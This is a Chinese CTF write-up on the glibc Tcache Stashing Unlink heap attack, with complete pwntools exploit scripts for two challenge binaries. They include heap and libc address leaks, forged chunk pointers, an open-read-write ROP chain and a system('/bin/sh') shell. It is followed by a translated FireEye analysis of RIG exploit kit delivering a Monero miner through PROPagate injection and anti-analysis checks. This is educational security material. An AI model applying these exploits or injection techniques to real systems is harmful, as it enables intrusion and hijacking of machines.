// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim，防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
malloc_printerr ("malloc(): smallbin double linked list corrupted");
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset (victim, nb);
// 修改 small bin 链表，将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
也就是说，如果此处我们能够控制 small bin 的最后一个 chunk 的 bk 为我们想要写入的内存地址，并且保证`__glibc_unlikely(
bck->fd != victim )`检查通过就可以在small bin中加入我们想加入的Chunk，进而在内存的任意地址分配一个Chunk！
### Tcache Stashing Unlink Attack
#### 攻击目标
1. 向任意指定位置写入指定值。
2. 向任意地址分配一个Chunk。
#### 攻击前提
1. 能控制 Small Bin Chunk 的 bk 指针。
2. 程序可以越过Tache取Chunk。(使用calloc即可做到)
3. 程序至少可以分配两种不同大小且大小为unsorted bin的Chunk。
#### 攻击原理
我们首先分析`House of Lore Attack`中所忽视的Tcache相关代码。
#if USE_TCACHE //如果程序启用了Tcache
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
//遍历整个smallbin，获取相同size的free chunk
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
//判定Tcache的size链表是否已满，并且取出smallbin的末尾Chunk。
//验证取出的Chunk是否为Bin本身（Smallbin是否已空）
while ( tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin) ) != bin)
{
//如果成功获取了Chunk
if (tc_victim != 0)
{
// 获取 small bin 中倒数第二个 chunk 。
bck = tc_victim->bk;
//设置标志位
set_inuse_bit_at_offset (tc_victim, nb);
// 如果不是 main_arena，设置对应的标志
if (av != &main_arena)
set_non_main_arena (tc_victim);
//取出最后一个Chunk
bin->bk = bck;
bck->fd = bin;
//将其放入到Tcache中
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
此处我们发现了一个很关键的情况！我们在此处没有经过`House of Lore`中必须经过的检查：
// 检查 bck->fd 是不是 victim，防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
malloc_printerr ("malloc(): smallbin double linked list corrupted");
但是此处又有了矛盾的地方！
**首先，在引入Tcache后，Tcache中的Chunk拥有绝对优先权，我们不能越过Tcache向SmallBin中填入Chunk，也不能越过Tcache从SmallBin中取出Chunk。（除非Tcache已经处于FULL状态）**
然后，我们如果要在这里启动攻击，那么要求`SmallBin`中至少有两个Chunk(否则无法进入While中的if语句块)，
**同时要求Tcache处于非空状态。**
那样就产生了矛盾，导致这个漏洞看似无法利用。
但是`calloc`函数有一个很有趣的特性，它不会从`Tcache`拿`Chunk`，因此可以越过第一条矛盾“不能越过`Tcache`从`SmallBin`中取出`Chunk`”。
然后是`Unsorted Bin`的 **`last remainder`** 基址，当申请的Chunk大于`Unsorted
Bin`中Chunk的大小且其为`Unsorted Bin`中的唯一`Chunk`时，该`Chunk`不会进入`Tcache`。
同时，我们来分析`tcache_put`函数
static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
可以发现，`tcache_put`函数没有做任何的安全检查。
那么，当Tcache存在两个以上的空位时，程序会将我们的fake chunk置入Tcache。
## 0x02 以BUUOJ-2020 新春红包题-3为例
### 题目分析
除了Canary保护外，保护全部开启。
题目很明显， **在free后没有将指针置零，存在Use-After-Free漏洞** ，并且因为程序开启了Edit功能和Show功能，导致漏洞十分严重。
题目在分配`Chunk`时规定了大小，因此限制了我们对于`Large Bin Attack`的使用。
另外题目的分配函数使用了`calloc()`，`calloc()`会在申请`Chunk`后对其内部进行清零操作，并且`calloc()`不会从`Tcache
Bin`中取出堆块，那么我们直接将`Tcache Bin`填满就可以进行正常利用了。
程序在最后预留了后门函数，以供我们执行ROP链。
但是后门的启用需要满足三个条件
而`Back_door_heck`变量是一个大小为0x1000的Chunk。
### Tcache Bin的填充
首先，需要循环释放7个Chunk到Tcache Bin区域以填满Tcache以防止其干扰我们后续的利用。
for i in range(7):
creat(sh,15,4,'Chunk_15')
delete(sh,15)
**同时为了之后我们使用`Tcache Stashing Unlink Attack`，我们需要先向0x100大小的Tcache
Bin释放6个Chunk，这样，在将我们伪造的Fake_chunk放入Tcache Bin区域时，Tcache
Bin区域将会填满，程序不会继续通过我们伪造的bk指针向后继续遍历。**
for i in range(6):
creat(sh,14,2,'Chunk_14')
delete(sh,14)
### 泄露Heap地址及Libc地址
因为UAF漏洞的存在，我们只需要打印已经释放过的Tcache即可计算出Heap区域的首地址。
show(sh,15)
last_chunk_addr = get_address(sh,'We get last chunk address is ','','\x0A')
heap_addr = last_chunk_addr - 0x26C0
log.success('We get heap address is ' + str(hex(heap_addr)))
接下来继续分配一个`0x300`大小的Chunk，释放后它将进入`Unsorted Bin`,此时打印它的内容，将泄漏`Libc`基址。
⚠️：为防止`Top Chunk`合并，需要在最后额外申请一个Chunk。
creat(sh,1,4,'Chunk_1')
creat(sh,13,3,'Chunk_13')
delete(sh,1)
show(sh,1)
libc_base = get_address(sh,'We leak main arena address is ','','\x0A') - 0x1E4CA0
log.success('We get libc base address is ' + str(hex(libc_base)))
### 向Small Bin中加入两个Chunk
此时在`Unsorted
Bin`中已经有一个0x410大小的Chunk了，现在我们申请两个0x300大小的Chunk，程序会将0x100大小的Chunk放入`Small
Bin`中。
creat(sh,13,3,'Chunk_13')
creat(sh,13,3,'Chunk_13')
然后我们再次申请一个0x400的Chunk，释放，再申请一个0x300的Chunk，在Small Bin中再次加入一个大小为0x100的`Chunk`。
⚠️：为防止`Top Chunk`合并，需要在最后额外申请一个Chunk。
creat(sh,2,4,'Chunk_2')
creat(sh,13,4,'Chunk_13')
delete(sh,2)
creat(sh,13,3,'Chunk_13')
creat(sh,13,3,'Chunk_13')
###
### 执行 Tcache Stashing Unlink Attack
现在SmallBin中的情况为：
Small Bin: Chunk2 -> Chunk1
那么我们接下来若申请一个大小为`0xF0`的`Chunk`，程序仅会检查`Chunk2`的`fd`指针是否指向`Chunk1`。
在取出Chunk1后， **因为0x100的Tcache Bin还有1个空位，程序会遍历发现Chunk2满足大小条件并将其放入Tcache Bin中！**
我们若此时篡改`Chunk2`的`bk`指针指向`heap_addr+0x250+0x10+0x800-0x10`，程序就会在`heap_addr+0x250+0x10+0x800`的位置写入`main_arena`的地址，进而可以让我们进入后门函数。
payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x31E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(sh,2,payload)
触发攻击
creat(sh,3,2,'Chunk_3')
###
### 构造ROP链
经过检测，发现程序开启了SandBox。
那么我们采取`Open-Read-Write`的利用方式。
⚠️：Read函数的第一个参数文件描述符从0开始累加，程序进行时内核会自动打开3个文件描述符，0，1，2，分别对应，标准输入、输出和出错，这样在程序中，每打开一个文件，文件描述符值从3开始累加。
因为我们无法获取PIE的值，于是选择从libc中寻找gadget。
至此，我们可以顺利的构造ROP链。
ROP_chain = '/flag\x00\x00\x00'
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc_base+libc.symbols['open'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['read'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['write'])
### Final Exploit
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
RedPacket_SoEasyPwn1=ELF('RedPacket_SoEasyPwn1')
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif context.arch == 'i386':
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./")
return remote(sys.argv[1], sys.argv[2])
else:
return process("./RedPacket_SoEasyPwn1")
def get_address(sh,info=null,start_string=null,end_string=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'\x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'\x00'))
log.success(info+str(hex(return_address)))
return return_address
def get_flag(sh):
# sh.recv()
sh.sendline('ls')
sh.recv()
sh.sendline('cat /flag')
return sh.recvline()
def get_gdb(sh,stop=False):
gdb.attach(sh)
if stop :
raw_input()
def creat(sh,index,chunk_size_index,value):
sh.recvuntil('Your input: ')
sh.sendline('1')
sh.recvuntil('Please input the red packet idx: ')
sh.sendline(str(index))
sh.recvuntil('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ')
sh.sendline(str(chunk_size_index))
sh.recvuntil('Please input content: ')
sh.sendline(value)
def delete(sh,index):
sh.recvuntil('Your input: ')
sh.sendline('2')
sh.recvuntil('Please input the red packet idx: ')
sh.sendline(str(index))
def edit(sh,index,value):
sh.recvuntil('Your input: ')
sh.sendline('3')
sh.recvuntil('Please input the red packet idx: ')
sh.sendline(str(index))
sh.recvuntil('Please input content: ')
sh.sendline(value)
def show(sh,index):
sh.recvuntil('Your input: ')
sh.sendline('4')
sh.recvuntil('Please input the red packet idx: ')
sh.sendline(str(index))
if __name__ == "__main__":
sh = get_sh()
for i in range(7):
creat(sh,15,4,'Chunk_15')
delete(sh,15)
for i in range(6):
creat(sh,14,2,'Chunk_14')
delete(sh,14)
show(sh,15)
last_chunk_addr = get_address(sh,'We get last chunk address is ','','\x0A')
heap_addr = last_chunk_addr - 0x26C0
log.success('We get heap address is ' + str(hex(heap_addr)))
creat(sh,1,4,'Chunk_1')
creat(sh,13,3,'Chunk_13')
delete(sh,1)
show(sh,1)
libc_base = get_address(sh,'We leak main arena address is ','','\x0A') - 0x1E4CA0
log.success('We get libc base address is ' + str(hex(libc_base)))
creat(sh,13,3,'Chunk_13')
creat(sh,13,3,'Chunk_13')
creat(sh,2,4,'Chunk_2')
creat(sh,13,4,'Chunk_13')
delete(sh,2)
creat(sh,13,3,'Chunk_13')
creat(sh,13,3,'Chunk_13')
payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x37E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(sh,2,payload)
creat(sh,3,2,'Chunk_3')
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
file_name_addr = heap_addr + 0x0000000000004A40
flag_addr = file_name_addr + 0x0000000000000200
ROP_chain = '/flag\x00\x00\x00'
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc_base+libc.symbols['open'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['read'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc_base+libc.symbols['write'])
creat(sh,4,4,ROP_chain)
leave_ret = libc_base + 0x0000000000058373
sh.recvuntil('Your input: ')
sh.sendline('666')
sh.recvuntil('What do you want to say?')
sh.sendline('A'*0x80 + p64(file_name_addr) + p64(leave_ret))
sh.interactive()
## 0x04 以2020-XCTF-高校战疫赛 two_chunk为例
### 题目分析
程序使用了2.30的Libc，但是本题的相关利用与2.30新增的保护机制无关，因此我们使用libc2.29完成利用。
保护全部开启。
程序使用`Calloc`进行`Chunk`的分配，编辑函数仅能编辑一次，且编辑时可以溢出0x20字节。
### 向Small Bin中加入两个Chunk
首先`Creat(sh,0,0x188)`然后再`Creat(sh,1,0x300)`，这个`0x300`大小的`Chunk`是为了防止`Chunk`被`Top
Chunk`合并，这里我们将这个`Chunk`视为`Chunk 2`。堆内存情况如下：
Chunk 0 (in use)(0x190)
Chunk 2 (in use)(0x310)
紧接着释放`Chunk 0`，这个`Chunk`会被加入`Unsorted Bin`，再`Creat(sh,0,0xF0)`，程序会从`Chunk
0`中切割走`0x100`大小，这里我们将剩余的大小视为`Chunk 1`。堆内存情况如下：
Chunk 0 (in use)(0x100)
Chunk 1 (no use)(0x90 ) <- Unsorted Bin
Chunk 2 (in use)(0x310)
之后我们释放`Chunk 0`,再次`Creat(sh,0,0x100)`，`Chunk 1`会被加入`Small Bin`。然后我们释放`Chunk
0`、`Chunk 1`。堆内存情况如下：
Chunk 0 (no use)(0x110) <- Tcache Bin
Chunk 1 (no use)(0x90 ) <- Small Bin
Chunk 2 (no use)(0x310) <- Tcache Bin
Chunk 3 (no use)(0x110) <- Chunk 0 <- Tcache Bin
之后我们`Creat(sh,0,0x188)`然后再`Creat(sh,1,0x300)`，这个`0x300`大小的`Chunk`是为了防止`Chunk`被`Top
Chunk`合并，这里我们将这个`Chunk`视为`Chunk 6`。堆内存情况如下：
Chunk 0 (no use)(0x110) <- Tcache Bin
Chunk 1 (no use)(0x90 ) <- Small Bin
Chunk 2 (no use)(0x310) <- Tcache Bin
Chunk 3 (no use)(0x110) <- Chunk 0 <- Tcache Bin
Chunk 4 (in use)(0x190)
Chunk 6 (in use)(0x310)
紧接着释放`Chunk 4`，这个`Chunk`会被加入`Unsorted Bin`，再`Creat(sh,0,0xF0)`，程序会从`Chunk
4`中切割走`0x100`大小，这里我们将剩余的大小视为`Chunk 5`。堆内存情况如下：
Chunk 0 (no use)(0x110) <- Tcache Bin
Chunk 1 (no use)(0x90 ) <- Small Bin
Chunk 2 (no use)(0x310) <- Tcache Bin
Chunk 3 (no use)(0x110) <- Chunk 0 <- Tcache Bin
Chunk 4 (in use)(0x100)
Chunk 5 (no use)(0x90 ) <- Unsorted Bin
Chunk 6 (in use)(0x310)
之后我们释放`Chunk 6`,再次`Creat(sh,0,0x100)`，`Chunk 5`会被加入`Small Bin`。堆内存情况如下：
Chunk 0 (no use)(0x110) <- Tcache Bin
Chunk 1 (no use)(0x90 ) <- Small Bin
Chunk 2 (no use)(0x310) <- Tcache Bin
Chunk 3 (no use)(0x110) <- Chunk 0 <- Tcache Bin
Chunk 4 (in use)(0x100)
Chunk 5 (no use)(0x90 ) <- Chunk 1 <- Small Bin
Chunk 6 (in use)(0x310) <- Chunk 2 <- Tcache Bin
Chunk 7 (in use)(0x100)
⚠️：此处我们不使用释放`Chunk 4`的原因是，此时`Chunk 0`恰好指向`Chunk
4`，而`edit`存在一个溢出写，那么我们就可以篡改`Chunk5`的`Size`域了。
至此，我们向`Small Bin`中加入了两个`0x90`大小的Chunk。
### 执行 Tcache Stashing Unlink Attack
现在SmallBin中的情况为：
Small Bin: Chunk5 -> Chunk1
那么我们接下来若申请一个大小为`0x88`的`Chunk`，程序仅会检查`Chunk5`的`fd`指针是否指向`Chunk1`。
在取出`Chunk 1`后， **因为0x90的Tcache
Bin还有2个空位，程序会首先遍历发现Chunk5满足大小条件并将其作为参数调用`tcache_put`。**
while ( tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin) ) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
...
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
若此时，我们篡改了`Chunk 5`的`bk`指针为`Fake_Chunk`的地址(假设为0x12345678)，那么程序接下来会将`Small
bin`的`bk`指针置为`0x12345678`，并且在`0x12345678 ->
fd`的位置写入`bin`的地址，也就是`main_arena`的地址。接下来，由于 **因为0x90的Tcache
Bin仍有1个空位，程序会发现`Fake_Chunk`满足大小条件并将其作为参数调用`tcache_put`。**
此时！程序就会将我们的`Fake_Chunk`也置入`Tcache Bin`，我们只要能将其从`Tcache Bin`取回，就可以做任意地址写了。
⚠️：此处我们仍要注意一点，在将`Fake_Chunk`也置入`Tcache
Bin`之前，程序会将`bin`的地址，也就是`main_arena`的地址写入`Fake_Chunk->bk->fd`的位置，这里我们一定要确保`Fake_Chunk->bk->fd`是可写的！那么此处我们使用我们索性将buf的前部统一置为buf的位置+0x20。
那么我们对`Chunk 4`进行edit操作，注意，此处的`Chunk
4`的`index`为0。这里我们选择将chunk分配到buf的位置，以便我们能执行任意命令。
edit(sh,0,'\x00' * 0xF0 + p64(0)+ p64(0x91) + p64(heap_address + 0x1310) + p64(0x23333000 - 0x10))
delete(sh,1)
creat(sh,1,0x88)
接下来我们使用`Leave_end_message`功能即可取回`Fake_chunk`。
### 泄露Libc Address & 获取Shell
首先我们先泄露Libc地址，还记得之前说过的吗，在将`Fake_Chunk`也置入`Tcache
Bin`之前，程序会将`bin`的地址，也就是`main_arena`的地址写入`Fake_Chunk->bk->fd`的位置，我们已经将`Fake_Chunk->bk`篡改为了`buf的位置+0x20`,此时，`Fake_Chunk->bk->fd`恰好为`buf的位置+0x30`，也就是message的位置！
那么我们只要使用`Show_name_message`功能即可泄露`main_arena`的地址，进而计算libc基址。
然后我们使用`Leave_end_message`功能取回`Fake_chunk`即可执行任意libc函数。
### Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
twochunk=ELF('./twochunk', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./twochunk")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./twochunk")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def creat(sh,index,chunk_size):
sh.recvuntil('choice: ')
sh.send('1')
sh.recvuntil('idx: ')
sh.send(str(index))
sh.recvuntil('size: ')
sh.send(str(chunk_size))
def delete(sh,index):
sh.recvuntil('choice: ')
sh.send('2')
sh.recvuntil('idx: ')
sh.send(str(index))
def show(sh,index):
sh.recvuntil('choice: ')
sh.send('3')
sh.recvuntil('idx: ')
sh.send(str(index))
def edit(sh,index,value):
sh.recvuntil('choice: ')
sh.send('4')
sh.recvuntil('idx: ')
sh.send(str(index))
sh.recvuntil('content: ')
sh.send(value)
def Show_name_message(sh):
sh.recvuntil('choice: ')
sh.send('5')
def Leave_end_message(sh,value):
sh.recvuntil('choice: ')
sh.send('6')
sh.recvuntil('leave your end message: ')
sh.send(value)
def Back_Door(sh):
sh.recvuntil('choice: ')
sh.send('7')
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
sh.recvuntil('leave your name: ')
sh.send(p64(0x23333000 + 0x20) * 6)
sh.recvuntil('leave your message: ')
sh.sendline('A' * 0x30)
creat(sh,0,233)
delete(sh,0)
creat(sh,0,233)
delete(sh,0)
creat(sh,0,23333)
show(sh,0)
heap_address = get_address(sh,info='We get heap address is ',address_len=8,offset=-0x260)
sh.send('2')
sh.recvuntil('idx: ')
sh.send(str(0))
# for i in range(6):
# creat(sh,0,0x90)
# delete(sh,0)
for i in range(5):
creat(sh,0,0x88)
delete(sh,0)
for i in range(7):
creat(sh,0,0x188)
delete(sh,0)
creat(sh,0,0x188)
creat(sh,1,0x300)
delete(sh,0)
creat(sh,0,0xF0)
delete(sh,0)
creat(sh,0,0x100)
delete(sh,0)
delete(sh,1)
creat(sh,0,0x188)
creat(sh,1,0x300)
delete(sh,0)
creat(sh,0,0xF0)
delete(sh,1)
creat(sh,1,0x100)
edit(sh,0,'\x00' * 0xF0 + p64(0)+ p64(0x91) + p64(heap_address + 0x1310) + p64(0x23333000 - 0x10))
delete(sh,1)
creat(sh,1,0x88)
Show_name_message(sh)
libc.address = get_address(sh,info='We get libc address is ',start_string='message: ',end_string='\n',offset=-0x1E4D20)
Leave_end_message(sh,p64(libc.symbols['system'])+p64(libc.search('/bin/sh').next()) * 10)
Back_Door(sh)
sh.interactive()
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
## 0x05 参考链接
[CTF-wiki House of Lore](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_lore-zh/)
[HITCON CTF 2019 Quals — One Punch Man –
berming](https://medium.com/@ktecv2000/hitcon-ctf-2019-quals-one-punch-man-pwn-292pts-3e94eb3fd312) | 社区文章 |
# RIG EK的PROPagate注入技术分析
|
##### 译文声明
本文是翻译文章，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2018/06/rig-ek-delivering-monero-miner-via-propagate-injection-technique.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
通过FireEye动态威胁情报（DTI）检测，我们观察到RIG Exploit
Kit（EK）提供了一个dropper，以利用[PROPagate注入技术](http://www.hexacorn.com/blog/2017/10/26/propagate-a-new-code-injection-trick/)注入用来下载并执行Monero挖矿软件的代码（[趋势科技](https://blog.trendmicro.com/trendlabs-security-intelligence/rig-exploit-kit-now-using-cve-2018-8174-to-deliver-monero-miner/)也曾报告过类似的活动）。除了利用了一些知名度相对较小的注入技术之外，该攻击链中还有一些其他有趣的东西，让我们在这篇博文中一一道来。
## 攻击链
当用户访问一个在iframe中加载RIG EK登录页面的被入侵网站时，攻击链就会启动，RIG EK使用各种技术来传递NSIS（Nullsoft
Scriptable Install
System）加载器，该加载器会利用PROPagate注入技术来将shellcode注入到explorer.exe中，而这个shellcode则负责执行下一个payload，以下载并执行Monero挖矿软件。攻击链的流程图如图1所示。
图1. 攻击链流程图
## Exploit Kit 分析
当用户访问一个被使用iframe注入入侵的受感染网站时，iframe就会加载登陆页面。注入到受感染网站的iframe如图2所示。
图2：被注入的iframe
登录页面包含三个不同的JavaScripts片段，每个片段使用不同的技术来传递payload。这些也都不是一些新技术，因此我们在本文中会对每一种做一个简要介绍。
## JavaScript 1
第一个JS有一个函数——fa——用来返回一个使用execScript函数执行的VBScript，如图3中的代码所示。
图3：JavaScript 1代码片段
这个VBScript利用了[CVE-2016-0189](https://www.fireeye.com/blog/threat-research/2016/07/exploit_kits_quickly.html)漏洞，这个CVE漏洞可让它下载payload并使用图4中所示的代码来执行它。
图4：VBScript代码片段
## JavaScript 2
第二个JavaScript包含了一个用来检索其他JavaScript代码的函数，其使用图5中所示的代码片段将此脚本代码添加到HTML页面中。
图5：JavaScript 2代码片段
这一段新添加的JavaScript代码利用了[CVE-2015-2419](https://www.fireeye.com/blog/threat-research/2015/08/cve-2015-2419_inte.html)漏洞，而此漏洞又利用了一个[JSON.stringify](https://www.fireeye.com/blog/threat-research/2015/08/cve-2015-2419_inte.html)中的漏洞。该脚本会通过在图6所示的变量中存储漏洞的EXP部分来混淆其对JSON.stringify的调用。
图6：利用变量来进行混淆
依靠这些变量，这个JavaScript会调用带有错误格式的参数的JSON.stringify以触发CVE-2015-2419漏洞，这反过来则可以导致本机代码执行，如图7所示。
图7：调用JSON.Stringify
## JavaScript 3
第三个JavaScript中包含了添加一个额外JS脚本所需的代码，类似于第二个JavaScript。这个额外的JavaScript会添加了一个利用[CVE-2018-4878](https://www.fireeye.com/blog/threat-research/2018/02/attacks-leveraging-adobe-zero-day.html)漏洞的flash对象，如图8所示。
图8：JavaScript 3代码片段
一旦漏洞利用成功，shellcode就会调用命令行来创建一个文件名为u32.tmp的JavaScript文件，如图9所示。
图9：WScript命令行
这个JavaScript文件由WScript启动，它可以下载下一阶段的payload并使用图10中的命令行执行它。
图10：WScript中的恶意命令行
## payload分析
在此攻击过程中，攻击者使用了多个payload和反分析技术来绕过分析环境。图11显示了该恶意软件的完整活动流程图。
图11：恶意软件活动流程图
## NSIS加载器（SmokeLoader）分析
RIG
EK丢弃的第一阶段的payload是一个已编译的NSIS可执行文件，俗称SmokeLoader。除了NSIS文件之外，payload还有两个组成部分：一个DLL和一个数据文件（在这一次的分析案例中名为’kumar.dll’和’abaram.dat’），此DLL具有一个由NSIS可执行文件调用的导出函数，而此导出函数可以读取和解密数据文件的代码，从而生成第二阶段payload（一个可移植的可执行文件）。
然后该DLL在SUSPENDED_MODE中生成自己（dropper）并使用process hollowing技术来注入解密后的PE。
## 注入代码（第二阶段payload）分析
第二阶段的payload是一个高度混淆的可执行文件，它由一个可以解密代码、执行它并对它进行重新加密的例行程序组成。
在可执行文件的入口处，包含了一段通过从进程环境块（PEB）中提取信息来检查操作系统主要版本号的代码，如果操作系统版本值小于6（在Windows
Vista之前），则可执行文件将会自行终止。它还包含一段从PEB的偏移量0x2中提取信息来检查可执行文件是否处于调试模式的代码，如果设置了`BeingDebugged`标志，则可执行文件也将自行终止。
恶意软件还会通过打开值为0的注册表项 **HKLM SYSTEM ControlSet001 Services Disk Enum** 来进行Anti-VM检查。它会检查注册表值数据是否包含以下字符串：vmware、virtual、qemu或xen，而这些字符串都意味着目标是一台虚拟机。
在进行了反分析和环境检查后，恶意软件才开始执行核心代码。
恶意软件使用来[PROPagate注入技术](http://www.hexacorn.com/blog/2017/10/26/propagate-a-new-code-injection-trick/)来在目标进程中注入并执行代码。PROPagate方法类似于SetWindowLong注入技术。在此方法中，恶意软件使用SetPropA函数修改UxSubclassInfo的回调，并使远程进程执行它的恶意代码。
这种代码注入技术仅适用于具有相对自身较低或相等的完整性级别的进程，恶意软件首先会检查当前正在运行的进程的完整性是否为中等完整性级别（2000，SECURITY_MANDATORY_MEDIUM_RID）。下图显示了代码片段。
图12：检查当前进程的完整性级别的代码片段
如果进程高于中等完整性级别，则恶意软件会继续进行，而如果该进程低于了中等完整性级别，则恶意软件将以中等完整性重新生成。
恶意软件创建文件映射对象并将dropper文件路径写入其中，然后通过注入的代码访问相同的映射对象，以读取dropper文件路径并删除dropper文件。映射对象的名称源自系统驱动器的卷序列号和带有硬编码值的XOR操作（如图13）。
_文件映射对象名称=“卷序列号”+“卷序列号”XOR 0x7E766791_
图13：创建文件映射对象名称
然后，恶意软件利用XOR来解密第三阶段的payload，并使用RTLDecompressBuffer对其进行解压缩。第三阶段payload也是一个PE可执行文件，但作者已修改文件头以避免在内存扫描中将其检测为PE文件。如图14，在解密数据开始时修改了几个头字段后，我们得到了正确的可执行头。
图14：没有头（左）和有头（右）的注入可执行文件
解密payload后，恶意软件将shell进程explorer.exe作为恶意代码的注入目标。它使用GetShellWindow和GetWindowThreadProcessId
API来获取shell窗口的线程ID（图15）。
图15：获取shell窗口线程ID
恶意软件会在远程进程（explorer.exe）中注入并映射解密的PE，同时它还会注入一个在SetPropA中配置为回调函数的shellcode。
将payload注入到目标进程之后，它会使用EnumChild和EnumProps函数来枚举shell窗口属性列表中的所有条目，并将其与UxSubclassInfo进行比较，找到shell窗口的UxSubclassInfo属性后，它会保存句柄信息并通过SetPropA用其设置回调函数。
SetPropA有三个参数，第三个是数据。回调程序地址存储在距数据开头的偏移量0x14处。恶意软件使用注入的shellcode地址来修改回调地址（图16）。
图16：修改回调函数
然后，恶意软件将特定消息发送到窗口以执行与UxSubclassInfo属性相对应的回调程序，这一步则可以导致shellcode的执行。
shellcode包含使用CreateThread执行注入的第三阶段payload的入口点地址的代码，然后它会重置SetPropA的回调，该回调在PROPagate注入期间会被恶意软件修改。图17显示了注入的shellcode的代码片段。
图17：注入的shellcode的组装视图
## 第三阶段payload分析
在执行恶意代码之前，恶意软件会执行反分析检查，以确保系统中没有运行任何分析工具。它创建了两个永久运行的线程，其中就包含来用于实现反分析检查的代码。
第一个线程使用CreateToolhelp32Snapshot来枚举进程，并检查在分析中通常会使用的进程名称。它使用自定义操作从进程名称生成DWORD哈希值，并将其与硬编码的DWORD值数组进行比较，如果生成的值与数组中的任一值相匹配，则将相应的进程终止。
